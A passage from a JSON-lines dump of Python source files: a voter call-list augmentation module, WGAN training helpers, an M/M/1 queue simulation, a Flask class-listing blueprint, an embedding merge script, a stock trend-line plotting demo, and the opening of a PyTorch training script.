voters.\"\"\"\nimport argparse\n\nimport pandas as pd\nimport sqlalchemy as sa\n\nfrom .common import (get_logger, parse_inputs, MissingParamError, get_id_column,\n get_read_hash, render_template, DataError, CALL_LIST_COLUMNS)\nfrom .ingest import get_version_from_filename\n\nlogger = get_logger(__name__)\n\n\nTRUE_VALUES = {True, 'True', 'true', 'T'}\nFALSE_VALUES = {False, 'False', 'false', 'F'}\nBOOLEAN_VALUES = TRUE_VALUES | FALSE_VALUES\n\n\ndef add_primary_id_column(df, read_hash):\n id_column = str(read_hash['voters_table_id_column'])\n if id_column not in df and 'voter_id' in df:\n df[id_column] = df['voter_id']\n return df\n\n\nclass Unscrubber(object):\n def __init__(self, infile, *args, **kwargs):\n self.call_list = None\n self.to_vendor_df = None\n self.scrubbed_voters_df = None\n self.percent_scrubbed = None\n if hasattr(infile, 'infile'):\n self.infile = infile.infile\n else:\n self.infile = infile\n self.df, self.outfile, self.read_id = parse_inputs(infile, *args, **kwargs)\n\n if isinstance(infile, argparse.Namespace):\n params = infile\n if hasattr(params, 'call_list'):\n self.call_list = params.call_list\n elif args and isinstance(args[0], argparse.Namespace):\n params = args[0]\n if hasattr(params, 'call_list'):\n self.call_list = params.call_list\n else:\n self.call_list = kwargs.get('call_list')\n self.read_hash = get_read_hash(self.read_id)\n self.df = add_primary_id_column(self.df, self.read_hash)\n\n self.vendor = self.read_hash['vendor_name'].lower()\n self.primary_id_column = self.read_hash['voters_table_id_column']\n id_field = get_id_column(self.df)\n if id_field != self.primary_id_column:\n logger.warn(\"ID fields %r and %r do not match!\", id_field, self.primary_id_column)\n\n @staticmethod\n def _read_with_version(filename):\n df = pd.read_csv(filename, dtype=str)\n if 'version' not in df:\n df['version'] = get_version_from_filename(filename)\n return df\n\n def load_to_vendor_files(self):\n if not self.call_list:\n raise MissingParamError(\"No original call lists identified.\")\n df_list = [self._read_with_version(x) for x in self.call_list]\n df = reduce(lambda a, b: pd.concat([a, b]), df_list)\n self.to_vendor_df = add_primary_id_column(df, self.read_hash)\n\n def identify_scrubbed_voters(self):\n returned_voter_ids = self.df[self.primary_id_column]\n matched_voter_ids = self.to_vendor_df[self.primary_id_column].isin(returned_voter_ids)\n scrubbed_voters = self.to_vendor_df[~matched_voter_ids].copy()\n scrubbed_voters['contact_status'] = 'scrubbed'\n logger.info(\"Read %r: %d scrubbed voters identified\", self.read_id, len(scrubbed_voters))\n self.scrubbed_voters_df = scrubbed_voters\n\n def analyze_scrubbed_voters(self):\n total = float(len(self.to_vendor_df) + len(self.scrubbed_voters_df))\n self.percent_scrubbed = len(self.scrubbed_voters_df) / total\n if self.percent_scrubbed > .1:\n logger.warn(\"Read %r: %s of the original call list was scrubbed\",\n self.read_id, '{:.2%}'.format(self.percent_scrubbed))\n\n def write(self, outfile=None):\n if outfile:\n self.outfile = outfile\n self.df.to_csv(self.outfile, encoding='utf-8', index=False)\n\n def unscrub(self):\n self.load_to_vendor_files()\n self.identify_scrubbed_voters()\n self.analyze_scrubbed_voters()\n # Combine scrubbed and unscrubbed voters\n self.df = pd.concat([self.df, self.scrubbed_voters_df])\n logger.info(\"Read %r: CM UNSCRUB complete\", self.read_id)\n return self\n\n\nclass Appender(Unscrubber):\n def __init__(self, *args, **kwargs):\n super(Appender, self).__init__(*args, **kwargs)\n self.engine = sa.create_engine(self.read_hash['database_path'])\n self.inspector = sa.inspect(self.engine)\n self.database_df = None\n\n @property\n def q1_response_voter_ids(self):\n non_blank_ids = self.df.loc[self.df['q1'].notnull(), self.primary_id_column].unique().tolist()\n if not len(non_blank_ids):\n raise DataError(\"No non-blank responses for q1 in input data\")\n return non_blank_ids\n\n @property\n def voterfile_columns(self):\n _voters_columns = set([c['name'] for c in self.inspector.get_columns(self.read_hash['voters_table_name'])])\n _flag_columns = set([c['name'] for c in self.inspector.get_columns(self.read_hash['flags_table_name'])])\n return _voters_columns | _flag_columns\n\n @property\n def segment_columns(self):\n return [k['column'] for k in self.read_hash['variables']]\n\n @property\n def columns_to_append(self):\n _target_columns = set(self.segment_columns + CALL_LIST_COLUMNS)\n df_columns = set(self.df.columns.tolist())\n #return (self.voterfile_columns & _target_columns) - df_columns\n # Aaron: This is a temporary fix to return DMA to the list of columns\n # dma is a variable in CM and the -df_columns section was removing it from the results\n return (self.voterfile_columns & _target_columns) - (df_columns - set(['dma', 'cd', 'county', 'state_hd', 'precinct', 'state_sd']))\n\n @property\n def _append_query(self):\n return render_template('append_columns.sql', columns=self.columns_to_append, read_hash=self.read_hash,\n voter_ids=self.q1_response_voter_ids)\n\n @staticmethod\n def _cast_to_tf(series):\n uniques = set(series.dropna().unique())\n if not uniques or len(uniques) > 2 or not uniques <= BOOLEAN_VALUES:\n return series\n if series.dtype == 'bool':\n true, false = True, False\n else:\n true, false = list(TRUE_VALUES), list(FALSE_VALUES)\n return series.replace(true, 't').replace(false, 'f')\n\n def _fix_duplicated_columns(self, df, suffix='_x'):\n \"\"\"Add suffix to duplicated columns.\"\"\"\n columns = df.columns.to_series()\n if columns.duplicated().any():\n columns[columns.duplicated()] = columns[columns.duplicated()].map(lambda x: x + suffix)\n df.columns = columns\n self._fix_duplicated_columns(df, 'x')\n return df\n\n def _bool_to_tf(self, df):\n \"\"\"Map TRUE/FALSE columns in DataFrame to 't'/'f' respectively.\"\"\"\n df = self._fix_duplicated_columns(df)\n for column in df:\n df[column] = self._cast_to_tf(df[column])\n return df\n\n def download_extra_column_data(self):\n logger.info(\"Read %r: Downloading %r for %d people\", self.read_id,\n ', '.join(self.columns_to_append), len(self.q1_response_voter_ids))\n self.database_df = pd.read_sql(self._append_query, self.engine)\n # Fix True/False values\n self.database_df = self._bool_to_tf(self.database_df)\n\n def append(self):\n logger.info(\"Read %r: CM APPEND starting\", self.read_id)\n self.download_extra_column_data()\n self.df = pd.merge(self.df, self.database_df, on=self.primary_id_column,\n how='left', suffixes=('_ret', '',))\n logger.info(\"Read %r: CM APPEND complete\", self.read_id)\n return self\n\n\nclass CohortAppender(Appender):\n def __init__(self, *args, **kwargs):\n super(CohortAppender, self).__init__(*args, **kwargs)\n self.cohort_column = self.read_hash['cohort_column']\n self.cohorts_df = None\n\n def rename_existing_cohort(self):\n if self.cohort_column in self.df:\n new_name = self.cohort_column + '_original'\n logger.warn(\"Read %r: %s already in data, renaming to %s\",\n self.read_id, self.cohort_column, new_name)\n self.df.rename(columns={self.cohort_column: new_name}, inplace=True)\n\n @property\n def all_return_voter_ids(self):\n return self.df[self.primary_id_column].tolist()\n\n @property\n def _add_cohort_query(self):\n return render_template('append_columns.sql', columns=[self.cohort_column], read_hash=self.read_hash,\n voter_ids=self.all_return_voter_ids)\n\n def download_cohort_column(self):\n logger.info(\"Read %r: Downloading %r for %d people\", self.read_id,\n self.cohort_column, len(self.all_return_voter_ids))\n self.cohorts_df = pd.read_sql(self._add_cohort_query, self.engine)\n\n def add_cohort(self):\n logger.info(\"Read %r: CM ADD starting\", self.read_id)\n self.download_cohort_column()\n self.df = pd.merge(self.df, self.cohorts_df, on=self.primary_id_column,\n how='left', suffixes=('_ret', '',))\n logger.info(\"Read %r: CM ADD complete\", self.read_id)\n return self\n\n\nclass Augmentor(CohortAppender):\n def augment(self):\n return self.unscrub().append().add_cohort()\n\n def __repr__(self):\n return '' % (self.infile, self.read_id)\n\n\ndef add_cohort(*args, **kwargs):\n augmentor = Augmentor(*args, **kwargs)\n augmentor.add_cohort()\n augmentor.write()\n\n\ndef append(*args, **kwargs):\n augmentor = Augmentor(*args, **kwargs)\n augmentor.append()\n augmentor.write()\n\n\ndef unscrub(*args, **kwargs):\n augmentor = Augmentor(*args, **kwargs)\n augmentor.unscrub()\n augmentor.write()\n\n\ndef augment(*args, **kwargs):\n augmentor = Augmentor(*args, **kwargs)\n augmentor.augment()\n augmentor.write()\n","sub_path":"pyread/augment.py","file_name":"augment.py","file_ext":"py","file_size_in_byte":9674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"652323619","text":"import torch\nimport torch.autograd as autograd\nimport numpy as np\ntorch.manual_seed(1)\n\nfrom .noise_generators import create_generator_noise_uniform\n\n# ONE = torch.FloatTensor([1])\n# NEG_ONE = ONE * -1\n\nfrom torch.nn.utils.clip_grad import clip_grad_norm\n\n\ndef calc_gradient_penalty(netD, real_data, fake_data, use_cuda=False):\n \"\"\"NOTE: This is done much differently than his. He uses gradients in the shape of inputs, but\n I flatten it before taking the norm. I think mine is right, but I can't be sure. Posting in a forum.\n TODO: I NEED TO MAKE THIS CUDA DEPENDENT!!!\n \"\"\"\n batch_size = real_data.size()[0]\n num_dims = len(real_data.size())\n # print(\"batch size for calc_gradient_penalty is: {}\".format(batch_size))\n alpha = torch.rand(batch_size, *[1 for i in range(num_dims - 1)])\n if use_cuda:\n alpha = alpha.cuda()\n # alpha = torch.rand(batch_size, 1, 1, 1)\n # import ipdb; ipdb.set_trace()\n\n # alpha = alpha.expand(real_data.size())\n alpha = alpha.expand_as(real_data)\n\n interpolates = alpha * real_data + ((1 - alpha) * fake_data)\n interpolates = autograd.Variable(interpolates, requires_grad=True)\n if use_cuda:\n interpolates = interpolates.cuda()\n\n disc_interpolates = netD(interpolates)\n grad_outputs = torch.ones(disc_interpolates.size()).cuda() if use_cuda else torch.ones(disc_interpolates.size())\n gradients = autograd.grad(outputs=disc_interpolates, inputs=interpolates,\n grad_outputs=grad_outputs,\n create_graph=True, retain_graph=True, only_inputs=True)[0]\n\n\n gradients_reshaped = gradients.view(gradients.size()[0], -1)\n gradient_penalty = ((gradients_reshaped.norm(2, dim=1) - 1) ** 2).mean() #MINE!\n return gradient_penalty\n\n\ndef train_discriminator(g_net, d_net, data, d_optimizer, noise_dim=2, LAMBDA=0.1, plotter=None, flatten=False, use_cuda=False):\n \"\"\"\n Discriminator tries to mimic W-loss by approximating f(x). F(x) maximizes f(real) - f(fake).\n Meaning it tries to make f(real) big and f(fake) small.\n Meaning it should backwards from real with a NEG and backwards from fake with a POS.\n Tries to make WassD as big as it can.\n\n F(REAL) SHOULD BE BIG AND F(FAKE) SHOULD BE SMALL!\n\n No noise though. The noise is for hard-example-mining for the generator, else.\n \"\"\"\n ONE = torch.FloatTensor([1])\n NEG_ONE = ONE * -1\n if use_cuda:\n ONE = ONE.cuda()\n NEG_ONE = NEG_ONE.cuda()\n\n batch_size = data.shape[0]\n # First, we only care about the Discriminator's D\n d_net.set_requires_grad(True)\n g_net.set_requires_grad(False)\n\n d_net.zero_grad()\n\n real_data_v = autograd.Variable(torch.Tensor(data))\n if use_cuda:\n real_data_v = real_data_v.cuda()\n noisev = create_generator_noise_uniform(batch_size, noise_dim=noise_dim, allow_gradient=False) #Do not need gradient for gen.\n if use_cuda:\n noisev = noisev.cuda()\n fake_data_v = autograd.Variable(g_net(noisev).data) # I guess this is to cause some separation...\n # import ipdb; ipdb.set_trace()\n\n # if flatten:\n # fake_data_v = fake_data_v.view(BATCH_SIZE, -1)\n\n d_real = d_net(real_data_v).mean()\n d_real.backward(NEG_ONE) #That makes it maximize!\n\n d_fake = d_net(fake_data_v).mean()\n d_fake.backward(ONE) #That makes it minimize!\n\n gradient_penalty = calc_gradient_penalty(d_net, real_data_v.data, fake_data_v.data, use_cuda=use_cuda)\n scaled_grad_penalty = LAMBDA * gradient_penalty\n scaled_grad_penalty.backward(ONE) #That makes it minimize!\n\n d_wasserstein = d_real - d_fake\n d_total_cost = d_fake - d_real + scaled_grad_penalty\n\n plotter.add_point(graph_name=\"Grad Penalty\", value=scaled_grad_penalty.data.cpu().numpy()[0], bin_name=\"Grad Distance from 1 or -1\")\n plotter.add_point(graph_name=\"Wasserstein Distance\", value=d_wasserstein.data.cpu().numpy()[0], bin_name=\"Wasserstein Distance\")\n plotter.add_point(graph_name=\"Discriminator Cost\", value=d_total_cost.data.cpu().numpy()[0], bin_name=\"Total D Cost\")\n\n d_optimizer.step()\n\ndef train_noise(g_net, d_net, nm_net, nm_optimizer, batch_size, noise_dim=2, use_cuda=False):\n \"\"\"\n WassF maximizes F(real) - F(fake), so it makes F(fake) as small as it can.\n\n The discriminator tries to make F(fake) as small as it can. So, the noise-morpher should\n try and morph the noise so that D(gen(morph(noise))) is as small as possible.\n So, D_morphed should be smaller than D_noise if it's working well.\n\n If I were to log this, I would log D_noise - D_morphed, and try and make it as big as I could.\n\n \"\"\"\n ONE = torch.FloatTensor([1])\n NEG_ONE = ONE * -1\n if use_cuda:\n ONE = ONE.cuda()\n NEG_ONE = NEG_ONE.cuda()\n\n # d_net.set_requires_grad(False)\n d_net.set_requires_grad(True)\n g_net.set_requires_grad(True)\n nm_net.set_requires_grad(True)\n d_net.zero_grad()\n g_net.zero_grad()\n nm_net.zero_grad()\n\n noisev = create_generator_noise_uniform(batch_size, noise_dim=noise_dim)\n if use_cuda:\n noisev = noisev.cuda()\n noise_morphed = nm_net(noisev)\n\n fake_from_morphed = g_net(noise_morphed)\n d_morphed = d_net(fake_from_morphed).mean()\n d_morphed.backward(ONE) # That makes it minimize d_morphed, which it should do.\n # Makes the inputs to the g_net give smaller D vals.\n # So, when compared, hopefully D(G(NM(noise))) < D(G(noise))\n\n nm_optimizer.step()\n\n\ndef train_generator(g_net, d_net, nm_net, g_optimizer, batch_size, noise_dim=2, use_cuda=False):\n # NM_NET might be None, in which case you just use the noise...\n # NOTE: I could include nm_net optionally...\n ONE = torch.FloatTensor([1])\n NEG_ONE = ONE * -1\n if use_cuda:\n ONE = ONE.cuda()\n NEG_ONE = NEG_ONE.cuda()\n\n d_net.set_requires_grad(True) # I think this was my change but not sure...\n g_net.set_requires_grad(True)\n if nm_net:\n nm_net.set_requires_grad(True) # Just set them all to true..\n\n g_net.zero_grad()\n d_net.zero_grad()\n if nm_net:\n nm_net.zero_grad()\n\n noisev = create_generator_noise_uniform(batch_size, noise_dim=noise_dim)\n if use_cuda:\n noisev = noisev.cuda()\n if nm_net:\n noisev = nm_net(noisev)\n fake_data = g_net(noisev)\n d_fake = d_net(fake_data).mean()\n d_fake.backward(NEG_ONE) #MAKES SENSE... It's the opposite of d_fake.backwards in discriminator.\n\n g_optimizer.step()\n","sub_path":"lib/train_utils.py","file_name":"train_utils.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"277166513","text":"'''\nSimulates an M/M/1 queueing system using Lindley's equation.\nAssumes an infinite queue (i.e. packets are never dropped).\nCalculates the empirical CDF from using Lindley's to the theoretical CDF.\n\nClick the \"run\" button up top to run the simulation. The output plots\nwill appear in the list of files on the left.\n\nInput parameters (see INPUT PARAMS below):\n - Number of packets received by the queueing system\n - Long term average arrival rate of packets (per second)\n - Long term average service rate for packets (per second)\n\nOutput plots:\n - Comparison of empirical vs theoretical CDFs of M/M/1\n - Packets in system (waiting or being serviced) at a given time\n - Total wait time (waiting or being serviced) of each packet\n\nAuthor: Thomas Lin (t.lin@mail.utoronto.ca) 2018\n'''\n# INPUT PARAMS\nnumPackets = 1000 # Integer number\narrRate = 0.5 # Packet arrival rate\nservRate = 1 # Packet service rate\n# END INPUT PARAMS\n\n# Library imports\nimport sys\nfrom random import expovariate\nfrom math import exp, ceil\nimport numpy as np\n\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\n\nprint(\"Simulating %s packets in M/M/1 system\" % numPackets)\nprint(\"Average arrival rate = %s; and average service rate = %s\" % (arrRate, servRate))\n\n# Initialize figure\nfig = plt.figure(figsize=(10, 8))\nax = fig.add_subplot(111)\n\n# Convert to float (in case integer was entered)\narrRate = float(arrRate)\nservRate = float(servRate)\n\ninterArrivals = [expovariate(arrRate) for i in range(numPackets)]\nserviceTimes = [expovariate(servRate) for i in range(numPackets)]\n\n# Simulate using Lindley's\n# Lindley's equation: W(n) = max(0, W(n - 1) + serviceTime(n - 1) - interArrivalTime(n))\nwaitTimes = [0] * numPackets\nfor i in range(1, numPackets):\n waitTimes[i] = max(0, waitTimes[i - 1] + serviceTimes[i - 1] - interArrivals[i])\n\n# M/M/1 CDF equation: F(t) = 1 - ( (arrRate / servRate) * exp(-(servRate - arrRate) * t) )\nnumVals = int( ceil(max(waitTimes)) / 0.1 ) # Step size of 0.1\nx_range = [i / 10.0 for i in range(numVals)]\n\ntheorWaitTimes = [0] * numVals\nfor i in range(numVals):\n theorWaitTimes[i] = 1 - ( arrRate / servRate * exp(-(servRate - arrRate) * x_range[i]) )\n\n\nprint(\"\\nPlotting figures ... please wait\")\n\n# Plot CDFs\n# NOTE: Using matplotlib's histogram to generate CDF results in last point y = 0\n# Hacky workaround is to delete the last point: ret[2][0].set_xy(ret[2][0].get_xy()[:-1])\nnumBins = 10000 if numPackets > 10000 else numPackets\nret = ax.hist(waitTimes, numBins, density=True,\n cumulative=True, histtype='step',\n label=\"Empirical (from Lindley's)\", linewidth=2.0)\nret[2][0].set_xy(ret[2][0].get_xy()[:-1])\n\nax.plot(x_range, theorWaitTimes, label=\"Theoretical\", linewidth=2.0)\nax.legend(loc='right')\nplt.grid()\nplt.xlabel(\"Waiting Time (s)\")\nplt.title(\"Empirical and Theoretical Waiting Time CDF for M/M/1 System\")\n\nfig.savefig('empirical-vs-theoretical.png')\n#plt.show()\n\n\n# Plot packets in system\n# Logically, PacketsInSystem(t) = ArrivalEmpEnv(t) - DepartureEmpEnv(t)\n# Split time into discrete number of intervals (max 10000) and calculate backlog for each\narrEmpEnv = np.cumsum(interArrivals)\ndepartEmpEnv = [arrEmpEnv[i] + waitTimes[i] for i in range(numPackets)]\n\nnumPoints = 10000 if numPackets > 10000 else numPackets\ntimeInterval = max(departEmpEnv) / numPoints\npktInSys = [0] * numPoints\narrIndex = 0\ndepartIndex = 0\nfor i in range(numPoints):\n intervalEnd = timeInterval * (i+1)\n\n for arrIndex in range(arrIndex, numPackets):\n if arrEmpEnv[arrIndex] > intervalEnd:\n break;\n\n for departIndex in range(departIndex, numPackets):\n if departEmpEnv[departIndex] > intervalEnd:\n break;\n\n numArrivals = arrIndex - 1 if arrIndex > 0 else 0\n numDepartures = departIndex - 1 if departIndex > 0 else 0\n pktInSys[i] = numArrivals - numDepartures\n\nfig = plt.figure(figsize=(10, 8))\nax = fig.add_subplot(111)\nax.plot([i * timeInterval for i in range(numPoints)], pktInSys,\n label=\"Packets in System\", drawstyle='steps', linewidth=2.0)\nax.legend(loc='right')\nplt.grid()\nplt.xlabel(\"Time (s)\")\nplt.ylabel(\"Packets in System\")\nplt.title(\"Packets Waiting or being Processed vs Time\")\n\nfig.savefig('pkts-in-system.png')\n\n\n# Plot per-packet wait time\n# Bar plots get exponentially slow when number of points is large (over ~1000), so let's switch to \"fill\"\nfig = plt.figure(figsize=(10, 8))\nax = fig.add_subplot(111)\nif numPackets > 1000:\n waitTimes.append(0) # To close the polygon for \"fill\" to work\n ax.fill(range(numPackets + 1),\n waitTimes, '.',\n label=\"Wait Time\", linewidth=2.0)\nelse:\n ax.bar(range(1, numPackets + 1),\n waitTimes,\n label=\"Wait Time\", linewidth=0.5)\nax.legend(loc='right')\nplt.grid()\nplt.xlabel(\"i-th Packet\")\nplt.ylabel(\"Time (s)\")\nplt.title(\"Total Wait Times (Queuing + Service) per Packet\")\n\nfig.savefig('pkts-wait-time.png')\n\nprint(\"Finished plotting all figures!\")\n","sub_path":"queueing/Wait-Times-MM1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"636967513","text":"import os, shutil\nfrom datetime import timedelta, datetime\nimport math\nfrom flask import Blueprint, render_template, request, jsonify, json, abort\nfrom werkzeug.utils import secure_filename\nfrom proj.model import *\n\nbp_assignment = Blueprint('bp_assignment', __name__)\n\n\n@bp_assignment.route('/list_class/', methods=['GET'])\ndef list_class(pagenum):\n class_name = request.args[\"class_name\"]\n class_level = request.args[\"class_level\"]\n class_type = request.args[\"class_type\"]\n\n pagenum = json.loads(pagenum)\n\n codeSql = Class.query.distinct(Class.name, Class.level, Class.type)\n\n list = dict()\n list['data'] = []\n\n now = datetime.now()\n for value in db.session.query(Class.name,Class.level, Class.type).distinct()\\\n .with_entities(Class.id.label(\"id\"),Class.name.label(\"name\"),Class.level.label(\"level\"), Class.type.label(\"type\"))\\\n .filter(Class.year==now.year):\n dict1 = dict()\n dict1['id'] = value.id\n dict1['class_name'] = value.name\n dict1['class_level'] = value.level\n dict1['class_type'] = value.type\n\n list['data'].append(dict1)\n # list['totalpagenum'] = int(totalpagenum)\n # list['count_result'] = str(count_result)\n print(list)\n return jsonify(list)\n # gg = Class.query(Class.name).distinct().all()\n # for i in gg:\n # print(i.name)\n\n if class_name:\n codeSql = codeSql.filter(Class.name.like('%' + class_name + '%'))\n if class_level:\n codeSql = codeSql.filter(Class.level.like('%' + class_level + '%'))\n if class_type:\n codeSql = codeSql.filter(Class.type.like('%' + class_type + '%'))\n\n count_result = codeSql.count()\n\n if count_result:\n totalpagenum = math.ceil(count_result / 10)\n else:\n totalpagenum = 0\n\n if totalpagenum >= int(pagenum):\n report = codeSql.paginate(int(pagenum), 10)\n else:\n pagenum = int(pagenum)\n pagenum = pagenum - (pagenum - totalpagenum)\n if pagenum == 0:\n pagenum = 1\n report = codeSql.paginate(int(pagenum), 10)\n\n if not report:\n return \"Class does not exist\"\n else:\n list = dict()\n list['data'] = []\n for x in report.items:\n dict1 = dict()\n dict1['id'] = x.id\n dict1['class_name'] = x.name\n dict1['class_level'] = x.level\n dict1['class_type'] = x.type\n\n list['data'].append(dict1)\n list['totalpagenum'] = int(totalpagenum)\n list['count_result'] = str(count_result)\n return jsonify(list)\n\n\n@bp_assignment.route('/get_student_class/', methods=['GET'])\ndef get_student_class(class_id):\n log = Class.query.filter_by(id=class_id).first()\n\n now = datetime.now()\n cc = Class.query.filter_by(name=log.name, level=log.level, type=log.type, year=now.year).all()\n\n if cc:\n list = dict()\n list['data'] = []\n for ii in cc:\n print(ii)\n dict1 = dict()\n dict1['name'] = ii.student.name\n dict1['ic_no'] = ii.student.ic_no\n list['data'].append(dict1)\n return jsonify(list)\n else:\n return \"No Valid class ID\"\n\n\n@bp_assignment.route('/get_class_all', methods=['GET'])\ndef get_class_all():\n v = Class.query.group_by(Class.name, Class.level, Class.type).all()\n listData = list()\n for ii in v:\n dictData = dict()\n dictData['id'] = ii.id\n dictData['name'] = ii.name\n dictData['type'] = ii.type\n dictData['level'] = ii.level\n listData.append(dictData)\n\n return jsonify(listData)\n","sub_path":"proj/views/assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":3613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"448336692","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n# ==============================================================================\n# \\file merge-emb.py\n# \\author chenghuige \n# \\date 2020-06-03 22:36:34.375581\n# \\Description \n# ==============================================================================\n\n \nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport sys \nimport os\n\nfrom absl import app, flags\nFLAGS = flags.FLAGS\n\nflags.DEFINE_bool('norm', False, '')\n\nimport numpy as np\nimport gezi\nfrom sklearn.preprocessing import normalize\nfrom tqdm import tqdm\n\ndef main(_):\n vocab_file = sys.argv[1]\n vocab = gezi.Vocab(vocab_file)\n emb_height = vocab.size()\n\n print(vocab.id('i'))\n\n emb_size = len(open('./vectors.txt').readline().strip().split()) - 1\n print(emb_size)\n\n emb = np.random.uniform(-0.05, 0.05,(emb_height, emb_size))\n print(emb) \n\n emb = list(emb)\n\n for line in tqdm(open('./vectors.txt'), total=emb_height):\n l = line.strip().split()\n word, vals = l[0], l[1:]\n vals = np.asarray(list(map(float, vals)))\n if FLAGS.norm:\n vals = normalize(np.reshape(vals, (1,-1)))\n #vals /= np.sqrt(emb_size)\n vals = np.reshape(vals, (-1,))\n emb[vocab.id(word)] = vals \n\n emb = np.asarray(emb)\n print(emb)\n print(emb.shape)\n #emb = normalize(emb)\n\n np.save('./emb.npy', emb)\n\nif __name__ == '__main__':\n app.run(main) \n\n","sub_path":"projects/ai/mind_v1/src/tools/merge-emb.py","file_name":"merge-emb.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"84790288","text":"import numpy as np \nimport matplotlib.pyplot as mp \nimport datetime as dt\nimport matplotlib.dates as md\n\n# 当numpy解析文本时,将会把第一行中的每个字符串都传给函数进行处理,将处理完毕后的返回值转成需要的M8[D]类型\ndef dmy2ymd(dmy):\n dmy = str(dmy, encoding=\"utf-8\")\n d = dt.datetime.strptime(dmy, '%d-%m-%Y')\n t = d.date()\n s = t.strftime('%Y-%m-%d')\n return s \n\ndates, hightest_prices, lowest_prices, closing_prices = np.loadtxt(\n 'C:/Users/Administrator/Desktop/sucai/da_data/aapl.csv',\n delimiter=\",\",\n usecols=(1,4,5,6),\n unpack=True,\n dtype=\"M8[D], f8,f8,f8\",\n converters={1:dmy2ymd}\n)\n\n\ndates, hightest_prices, lowest_prices, closing_prices = np.loadtxt(\n 'C:/Users/Administrator/Desktop/sucai/da_data/aapl.csv',\n delimiter=\",\",\n usecols=(1,4,5,6),\n unpack=True,\n dtype=\"M8[D], f8,f8,f8\",\n converters={1:dmy2ymd}\n)\n\n\n# 绘制收盘价\nmp.figure(\"Linear Predict\", facecolor=\"lightgray\")\nmp.title(\"Linear Predict\", fontsize=18)\nmp.xlabel(\"Date\", fontsize=14)\nmp.ylabel(\"Price\", fontsize=14)\nmp.tick_params(labelsize=10)\nmp.grid(linestyle=\":\")\n\n# 设置主刻度定位器为每周一\nax = mp.gca()\nax.xaxis.set_major_locator(md.WeekdayLocator(byweekday=md.MO))\nax.xaxis.set_major_formatter(md.DateFormatter('%Y/%m/%d'))\n\n# 把M8[D]转换为matplotlib识别的date类型\ndates = dates.astype(md.datetime.datetime)\n\n# 计算所有的趋势点\ntrend_points = (closing_prices+hightest_prices+lowest_prices)/3\n\n# 线性拟合 lstsq(A, B) \ndays = dates.astype('M8[D]').astype(int)\nA = np.column_stack((days, np.ones(days.size)))\nB = trend_points\nx = np.linalg.lstsq(A, B)[0]\n# 绘制趋势线\ntrend_line = days*x[0] + x[1]\nmp.plot(dates, trend_line, color='orangered', label='Trendline', linewidth=2)\n\n\nmp.plot(dates, closing_prices, color=\"dodgerblue\", linewidth=1, linestyle=\"--\", label=\"closing_prices\")\n\n\nmp.legend()\n# 自动格式化x轴的日期输出\nmp.gcf().autofmt_xdate()\nmp.show()","sub_path":"numpydemo/05/demo5-02.py","file_name":"demo5-02.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"585317744","text":"import argparse\nimport shutil\nimport importlib\nimport logging\nimport numpy as np\n\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom datasets import process\nfrom datasets.load_dataset import LoadSimDataUnproc, LoadPixelShiftData\nfrom model.common import cal_model_parm_nums\nfrom TorchTools.ArgsTools.base_args import BaseArgs\nfrom TorchTools.LossTools.metrics import PSNR, AverageMeter\nfrom TorchTools.model_util import load_pretrained_models, load_pretrained_optimizer\nfrom torch.utils.tensorboard import SummaryWriter\n\n\ndef main():\n logging.info('===> Creating dataloader...')\n if 'pixelshift' in args.dataset:\n train_set = LoadPixelShiftData(args.train_list, 'train',\n args.patch_size,\n args.downsampler, args.scale,\n args.in_type, args.mid_type, args.out_type)\n val_set = LoadPixelShiftData(args.val_list, 'val',\n args.patch_size,\n args.downsampler, args.scale,\n args.in_type, args.mid_type, args.out_type)\n else:\n train_set = LoadSimDataUnproc(args.train_list, 'train',\n args.patch_size,\n args.downsampler, args.scale,\n args.in_type, args.mid_type, args.out_type)\n val_set = LoadSimDataUnproc(args.val_list, 'val',\n args.patch_size,\n args.downsampler, args.scale,\n args.in_type, args.mid_type, args.out_type)\n\n train_loader = DataLoader(dataset=train_set, num_workers=4, batch_size=args.batch_size,\n shuffle=True, pin_memory=True)\n\n val_loader = DataLoader(dataset=val_set, num_workers=4, batch_size=args.batch_size,\n shuffle=False, pin_memory=True)\n\n # =================\n logging.info('===> Loading the network ...')\n module = importlib.import_module(\"model.{}\".format(args.model))\n model = module.NET(args)\n # =================\n # load checkpoints\n if args.pretrain_other:\n model.load_state_dict_from_other_pipeline(args.pretrain_other)\n model, best_psnr, start_epoch = load_pretrained_models(model, args.pretrain)\n\n if args.n_gpus > 1:\n model = nn.DataParallel(model)\n model = model.to(args.device)\n\n logging.info(model)\n model_size = cal_model_parm_nums(model)\n logging.info('Number of params: %.4f MB' % (model_size / (8 * 1e6)))\n\n # =================\n logging.info('===> Loading the Optimizers ...')\n criterion = torch.nn.L1Loss().to(args.device)\n optimizer = torch.optim.Adam(model.parameters(), lr=args.lr)\n if args.lr_scheduler == 'step':\n scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=args.lr_decay_step, gamma=args.gamma)\n elif args.lr_scheduler == 'cos':\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, args.max_epochs, args.lr * 1e-3)\n else:\n raise NotImplementedError(f'{args.lr_scheduler} is not supported. support step or cos lr scheduler. ')\n optimizer, scheduler = load_pretrained_optimizer(args.pretrain, optimizer, scheduler, args.device)\n\n # =================\n # train + val\n logging.info('---------- Start training -------------\\n')\n iters = len(train_loader)\n last_loss = np.inf\n\n for epoch in range(start_epoch, args.max_epochs):\n # train\n losses = AverageMeter()\n mid_losses = AverageMeter()\n main_losses = AverageMeter()\n model.train()\n for i, data in enumerate(train_loader):\n # train, data convert\n if 'noisy' in args.in_type:\n img = 